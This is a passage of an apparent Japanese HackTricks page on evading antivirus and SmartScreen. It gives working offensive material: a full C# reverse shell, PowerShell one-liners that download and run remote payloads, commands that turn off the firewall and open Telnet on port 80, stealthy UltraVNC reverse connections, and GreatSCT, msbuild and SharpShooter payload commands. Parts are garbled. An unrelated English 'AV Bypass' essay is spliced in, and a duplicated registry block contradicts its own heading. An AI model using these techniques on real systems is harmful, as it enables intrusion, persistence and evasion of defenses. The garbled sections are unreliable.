{% hint style="info" %}
重要なことは、**信頼された**署名証明書で署名された実行可能ファイルは、SmartScreenをトリガーしないということです。
{% endhint %}
ペイロードがMark of The Webを受け取らないようにする非常に効果的な方法は、ISOなどのコンテナにパッケージ化することです。これは、Mark-of-the-Web(MOTW)が**非NTFS**ボリュームには適用できないためです。
[**PackMyPayload**](https://github.com/mgeeky/PackMyPayload/)は、Mark-of-the-Webを回避するためにペイロードを出力コンテナにパッケージ化するツールです。
使用例:
```powershell
PS C:\Tools\PackMyPayload> python .\PackMyPayload.py .\TotallyLegitApp.exe container.iso
+ o + o + o + o
+ o + + o + +
o + + + o + + o
-_-^-^-^-^-^-^-^-^-^-^-^-^-^-^-^-^-_-_-_-_-_-_-_,------, o
:: PACK MY PAYLOAD (1.1.0) -_-_-_-_-_-_-| /\_/\
for all your container cravings -_-_-_-_-_-~|__( ^ .^) + +
-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-__-_-_-_-_-_-_-'' ''
+ o o + o + o o + o
+ o + o ~ Mariusz Banach / mgeeky o
o ~ + ~
o + o + +
[.] Packaging input file to output .iso (iso)...
Burning file onto ISO:
Adding file: /TotallyLegitApp.exe
[+] Generated file written to (size: 3420160): container.iso
```
以下は、[PackMyPayload](https://github.com/mgeeky/PackMyPayload/)を使用してISOファイル内にペイロードをパッケージ化してSmartScreenをバイパスするデモです。
## C#アセンブリのリフレクション
C#バイナリをメモリにロードする方法はかなり以前から知られており、AVに検出されずにポストエクスプロイテーションツールを実行する非常に優れた方法です。
ペイロードはディスクに触れずに直接メモリにロードされるため、プロセス全体のAMSIのパッチ適用について心配する必要はありません。
ほとんどのC2フレームワーク(sliver、Covenant、metasploit、CobaltStrike、Havocなど)はすでにメモリ内でC#アセンブリを直接実行する機能を提供していますが、実行方法はさまざまです。
* **Fork\&Run**
これは、**新しい犠牲プロセスを生成**し、ポストエクスプロイテーションの悪意のあるコードをその新しいプロセスに注入し、悪意のあるコードを実行し、終了したら新しいプロセスを終了するというものです。これには利点と欠点があります。フォークと実行のメリットは、実行が**Beaconインプラントプロセスの外部**で行われることです。これは、ポストエクスプロイテーションのアクションで何かがうまくいかなかったり検出されたりした場合、**インプラントが生き残る可能性がはるかに高い**ということを意味します。欠点は、**行動検出**によって**検出される可能性が高い**ということです。
* **Inline**
これは、ポストエクスプロイテーションの悪意のあるコードを**独自のプロセスに注入**することです。これにより、新しいプロセスを作成してAVにスキャンされることを回避できますが、ペイロードの実行中に何かがうまくいかない場合、**ビーコンがクラッシュしてしまう可能性がはるかに高くなります**。
{% hint style="info" %}
C#アセンブリのロードについて詳しく読みたい場合は、この記事[https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/](https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/)とそのInlineExecute-Assembly BOF([https://github.com/xforcered/InlineExecute-Assembly](https://github.com/xforcered/InlineExecute-Assembly))をご覧ください。
{% endhint %}
また、PowerShellからもC#アセンブリをロードすることができます。[Invoke-SharpLoader](https://github.com/S3cur3Th1sSh1t/Invoke-SharpLoader)と[S3cur3th1sSh1tのビデオ](https://www.youtube.com/watch?v=oe11Q-3Akuk)をチェックしてください。
## 他のプログラミング言語の使用
[**https://github.com/deeexcee-io/LOI-Bins**](https://github.com/deeexcee-io/LOI-Bins)で提案されているように、攻撃者が制御するSMB共有へのアクセスを妨害されたマシンに与えることで、他の言語を使用して悪意のあるコードを実行することが可能です。
SMB共有上のインタプリタ環境とインタプリタバイナリにアクセスを許可することで、妨害されたマシンのメモリ内でこれらの言語で任意のコードを実行できます。
リポジトリは、スクリプトはまだDefenderによってスキャンされるが、Go、Java、PHPなどを利用することで、静的な署名をバイパスする**柔軟性が増す**と示しています。これらの言語でのランダムな非難読みされていない逆シェルスクリプトのテストは成功しています。
## 高度な回避
回避は非常に複雑なトピックであり、1つのシステムに多くの異なるテレメトリソースを考慮する必要があるため、成熟した環境では完全に検出を回避することはほぼ不可能です。
対戦するすべての環境にはそれぞれ独自の強みと弱点があります。
[@ATTL4S](https://twitter.com/DaniLJ94)のこのトークを見ることを強くお勧めします。これにより、より高度な回避技術についての基礎が得られます。
{% embed url="https://vimeo.com/502507556?embedded=true&owner=32913914&source=vimeo_logo" %}
また、[@mariuszbit](https://twitter.com/mariuszbit)によるEvasion in Depthについての素晴らしいトークもあります。
{% embed url="https://www.youtube.com/watch?v=IbA7Ung39o4" %}
## **古いテクニック**
### **Telnetサーバー**
Windows10まで、すべてのWindowsには**Telnetサーバー**が付属しており、(管理者として)インストールすることができました。
```
pkgmgr /iu:"TelnetServer" /quiet
```
システムが起動したときに**開始**し、今すぐ**実行**します:
```
sc config TlntSVR start= auto obj= localsystem
```
**telnetポートの変更**(ステルス)とファイアウォールの無効化:
```plaintext
1. Open the Windows Registry Editor by pressing `Win + R` and typing `regedit`.
2. Navigate to `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Telnet`.
3. Create a new DWORD value named `Start` if it doesn't already exist.
4. Set the value of `Start` to `0x4` to disable the Telnet service.
5. Navigate to `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL`.
6. Create a new DWORD value named `Enabled` if it doesn't already exist.
7. Set the value of `Enabled` to `0x0` to disable the SSL/TLS protocols.
8. Restart the computer for the changes to take effect.
Note: Disabling the firewall can leave your system vulnerable to attacks. Proceed with caution and consider alternative security measures.
```
**telnetポートの変更**(ステルス)とファイアウォールの無効化:
```plaintext
1. `Win + R`を押してWindowsレジストリエディタを開きます。`regedit`と入力します。
2. `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Telnet`に移動します。
3. `Start`という名前の新しいDWORD値を作成します(既に存在しない場合)。
4. `Start`の値を`0x4`に設定して、Telnetサービスを無効にします。
5. `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL`に移動します。
6. `Enabled`という名前の新しいDWORD値を作成します(既に存在しない場合)。
7. `Enabled`の値を`0x0`に設定して、SSL/TLSプロトコルを無効にします。
8. 変更を有効にするためにコンピュータを再起動します。
注意: ファイアウォールを無効にすると、システムが攻撃に対して脆弱になる可能性があります。注意して進み、代替のセキュリティ対策を検討してください。
```
```
tlntadmn config port=80
netsh advfirewall set allprofiles state off
```
### UltraVNC
以下からダウンロードしてください:[http://www.uvnc.com/downloads/ultravnc.html](http://www.uvnc.com/downloads/ultravnc.html)(セットアップではなく、バイナリのダウンロードが必要です)
**ホスト側での設定**: _**winvnc.exe**_ を実行し、サーバーを設定します:
* _Disable TrayIcon_ オプションを有効にします
* _VNC Password_ にパスワードを設定します
* _View-Only Password_ にパスワードを設定します
その後、バイナリの _**winvnc.exe**_ と新しく作成された _**UltraVNC.ini**_ ファイルを **被害者** の中に移動します
#### **逆接続**
**攻撃者**は、自分の **ホスト** 内でバイナリ `vncviewer.exe -listen 5900` を実行して、逆接続の **VNC 接続** を待機させます。その後、**被害者** の中で、winvnc デーモンを起動します `winvnc.exe -run` そして `winwnc.exe [-autoreconnect] -connect ::5900` を実行します
**警告:** ステルス性を維持するためには、以下のことを行わないでください
* 既に実行中の場合は `winvnc` を起動しないでください。そうすると [ポップアップ](https://i.imgur.com/1SROTTl.png) が表示されます。実行中かどうかは `tasklist | findstr winvnc` で確認してください
* 同じディレクトリに `UltraVNC.ini` がない状態で `winvnc` を起動しないでください。そうすると [設定ウィンドウ](https://i.imgur.com/rfMQWcf.png) が開きます
* ヘルプのために `winvnc -h` を実行しないでください。そうすると [ポップアップ](https://i.imgur.com/oc18wcu.png) が表示されます
### GreatSCT
以下からダウンロードしてください:[https://github.com/GreatSCT/GreatSCT](https://github.com/GreatSCT/GreatSCT)
```
git clone https://github.com/GreatSCT/GreatSCT.git
cd GreatSCT/setup/
./setup.sh
cd ..
./GreatSCT.py
```
GreatSCT内部:
## AV Bypass
### Introduction
Antivirus (AV) software is commonly used to detect and prevent malicious software from running on a system. However, as a hacker, it is crucial to bypass these AV solutions in order to successfully execute your payloads and maintain persistence on a target system.
This section will cover various techniques and strategies to bypass AV detection and ensure the success of your hacking activities.
### Encoding and Encryption
One of the most common techniques to bypass AV detection is encoding or encrypting your payloads. By obfuscating the payload, you can evade signature-based detection mechanisms employed by AV software.
There are several encoding and encryption techniques available, such as base64 encoding, XOR encoding, and AES encryption. These techniques can be used to transform your payload into a format that is not easily recognizable by AV software.
### Payload Obfuscation
Payload obfuscation involves modifying the payload's code to make it more difficult for AV software to detect. This can be achieved by adding junk code, changing variable names, or using code obfuscation tools.
By obfuscating your payload, you can make it harder for AV software to analyze and detect the malicious intent of your code.
### Metasploit Framework
The Metasploit Framework is a powerful tool for penetration testing and exploitation. It also provides various techniques to bypass AV detection.
Metasploit has built-in encoding and encryption modules that can be used to obfuscate your payloads. Additionally, it offers the ability to generate custom shellcode that is less likely to be detected by AV software.
### Fileless Malware
Fileless malware is a type of malware that resides solely in memory and does not leave any traces on the target system's disk. This makes it extremely difficult for AV software to detect and prevent.
By leveraging fileless malware techniques, you can execute your payloads directly in memory, bypassing traditional AV detection mechanisms.
### Conclusion
Bypassing AV detection is a critical skill for hackers. By employing encoding and encryption techniques, payload obfuscation, leveraging the Metasploit Framework, and utilizing fileless malware, you can increase your chances of successfully executing your payloads and maintaining persistence on target systems.
```
use 1
list #Listing available payloads
use 9 #rev_tcp.py
set lhost 10.10.14.0
sel lport 4444
generate #payload is the default name
#This will generate a meterpreter xml and a rcc file for msfconsole
```
今、`msfconsole -r file.rc`でリスナーを起動し、次のコマンドでXMLペイロードを実行します:
```
C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe payload.xml
```
**現在の防御者はプロセスを非常に速く終了します。**
### 自分自身の逆シェルをコンパイルする
https://medium.com/@Bank\_Security/undetectable-c-c-reverse-shells-fab4c0ec4f15
#### 最初のC#逆シェル
次のコマンドでコンパイルします:
```
c:\windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /t:exe /out:back2.exe C:\Users\Public\Documents\Back1.cs.txt
```
以下のように使用します:
```bash
python av_bypass.py
```
または
```bash
./av_bypass
```
```
back.exe
```
```csharp
using System;
using System.Text;
using System.IO;
using System.Diagnostics;
using System.ComponentModel;
using System.Linq;
using System.Net;
using System.Net.Sockets;
namespace ConnectBack
{
public class Program
{
static StreamWriter streamWriter;
public static void Main(string[] args)
{
using(TcpClient client = new TcpClient(args[0], System.Convert.ToInt32(args[1])))
{
using(Stream stream = client.GetStream())
{
using(StreamReader rdr = new StreamReader(stream))
{
streamWriter = new StreamWriter(stream);
StringBuilder strInput = new StringBuilder();
Process p = new Process();
p.StartInfo.FileName = "cmd.exe";
p.StartInfo.CreateNoWindow = true;
p.StartInfo.UseShellExecute = false;
p.StartInfo.RedirectStandardOutput = true;
p.StartInfo.RedirectStandardInput = true;
p.StartInfo.RedirectStandardError = true;
p.OutputDataReceived += new DataReceivedEventHandler(CmdOutputDataHandler);
p.Start();
p.BeginOutputReadLine();
while(true)
{
strInput.Append(rdr.ReadLine());
//strInput.Append("\n");
p.StandardInput.WriteLine(strInput);
strInput.Remove(0, strInput.Length);
}
}
}
}
}
private static void CmdOutputDataHandler(object sendingProcess, DataReceivedEventArgs outLine)
{
StringBuilder strOutput = new StringBuilder();
if (!String.IsNullOrEmpty(outLine.Data))
{
try
{
strOutput.Append(outLine.Data);
streamWriter.WriteLine(strOutput);
streamWriter.Flush();
}
catch (Exception err) { }
}
}
}
}
```
[https://gist.githubusercontent.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc/raw/1b6c32ef6322122a98a1912a794b48788edf6bad/Simple\_Rev\_Shell.cs](https://gist.githubusercontent.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc/raw/1b6c32ef6322122a98a1912a794b48788edf6bad/Simple\_Rev\_Shell.cs)
### コンパイラを使用したC#
```
C:\Windows\Microsoft.NET\Framework\v4.0.30319\Microsoft.Workflow.Compiler.exe REV.txt.txt REV.shell.txt
```
自動ダウンロードと実行:
```csharp
64bit:
powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.githubusercontent.com/BankSecurity/812060a13e57c815abe21ef04857b066/raw/81cd8d4b15925735ea32dff1ce5967ec42618edc/REV.txt', '.\REV.txt') }" && powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.githubusercontent.com/BankSecurity/f646cb07f2708b2b3eabea21e05a2639/raw/4137019e70ab93c1f993ce16ecc7d7d07aa2463f/Rev.Shell', '.\Rev.Shell') }" && C:\Windows\Microsoft.Net\Framework64\v4.0.30319\Microsoft.Workflow.Compiler.exe REV.txt Rev.Shell
32bit:
powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.githubusercontent.com/BankSecurity/812060a13e57c815abe21ef04857b066/raw/81cd8d4b15925735ea32dff1ce5967ec42618edc/REV.txt', '.\REV.txt') }" && powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.githubusercontent.com/BankSecurity/f646cb07f2708b2b3eabea21e05a2639/raw/4137019e70ab93c1f993ce16ecc7d7d07aa2463f/Rev.Shell', '.\Rev.Shell') }" && C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Workflow.Compiler.exe REV.txt Rev.Shell
```
{% embed url="https://gist.github.com/BankSecurity/469ac5f9944ed1b8c39129dc0037bb8f" %}
C#の難読化ツールのリスト: [https://github.com/NotPrab/.NET-Obfuscator](https://github.com/NotPrab/.NET-Obfuscator)
### C++
```
sudo apt-get install mingw-w64
i686-w64-mingw32-g++ prometheus.cpp -o prometheus.exe -lws2_32 -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc
```
[https://github.com/paranoidninja/ScriptDotSh-MalwareDevelopment/blob/master/prometheus.cpp](https://github.com/paranoidninja/ScriptDotSh-MalwareDevelopment/blob/master/prometheus.cpp)
Merlin, Empire, Puppy, SalsaTools [https://astr0baby.wordpress.com/2013/10/17/customizing-custom-meterpreter-loader/](https://astr0baby.wordpress.com/2013/10/17/customizing-custom-meterpreter-loader/)
[https://www.blackhat.com/docs/us-16/materials/us-16-Mittal-AMSI-How-Windows-10-Plans-To-Stop-Script-Based-Attacks-And-How-Well-It-Does-It.pdf](https://www.blackhat.com/docs/us-16/materials/us-16-Mittal-AMSI-How-Windows-10-Plans-To-Stop-Script-Based-Attacks-And-How-Well-It-Does-It.pdf)
https://github.com/l0ss/Grouper2
{% embed url="http://www.labofapenetrationtester.com/2016/05/practical-use-of-javascript-and-com-for-pentesting.html" %}
{% embed url="http://niiconsulting.com/checkmate/2018/06/bypassing-detection-for-a-reverse-meterpreter-shell/" %}
### その他のツール
```bash
# Veil Framework:
https://github.com/Veil-Framework/Veil
# Shellter
https://www.shellterproject.com/download/
# Sharpshooter
# https://github.com/mdsecactivebreach/SharpShooter
# Javascript Payload Stageless:
SharpShooter.py --stageless --dotnetver 4 --payload js --output foo --rawscfile ./raw.txt --sandbox 1=contoso,2,3
# Stageless HTA Payload:
SharpShooter.py --stageless --dotnetver 2 --payload hta --output foo --rawscfile ./raw.txt --sandbox 4 --smuggle --template mcafee
# Staged VBS:
SharpShooter.py --payload vbs --delivery both --output foo --web http://www.foo.bar/shellcode.payload --dns bar.foo --shellcode --scfile ./csharpsc.txt --sandbox 1=contoso --smuggle --template mcafee --dotnetver 4
# Donut:
https://github.com/TheWover/donut
# Vulcan
https://github.com/praetorian-code/vulcan
```
### もっと
{% embed url="https://github.com/persianhydra/Xeexe-TopAntivirusEvasion" %}
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
* あなたは**サイバーセキュリティ会社**で働いていますか? HackTricksであなたの**会社を宣伝**したいですか?または、**PEASSの最新バージョンを入手**したいですか?または、HackTricksを**PDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクション
* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で私を**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **ハッキングのトリックを共有するために、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**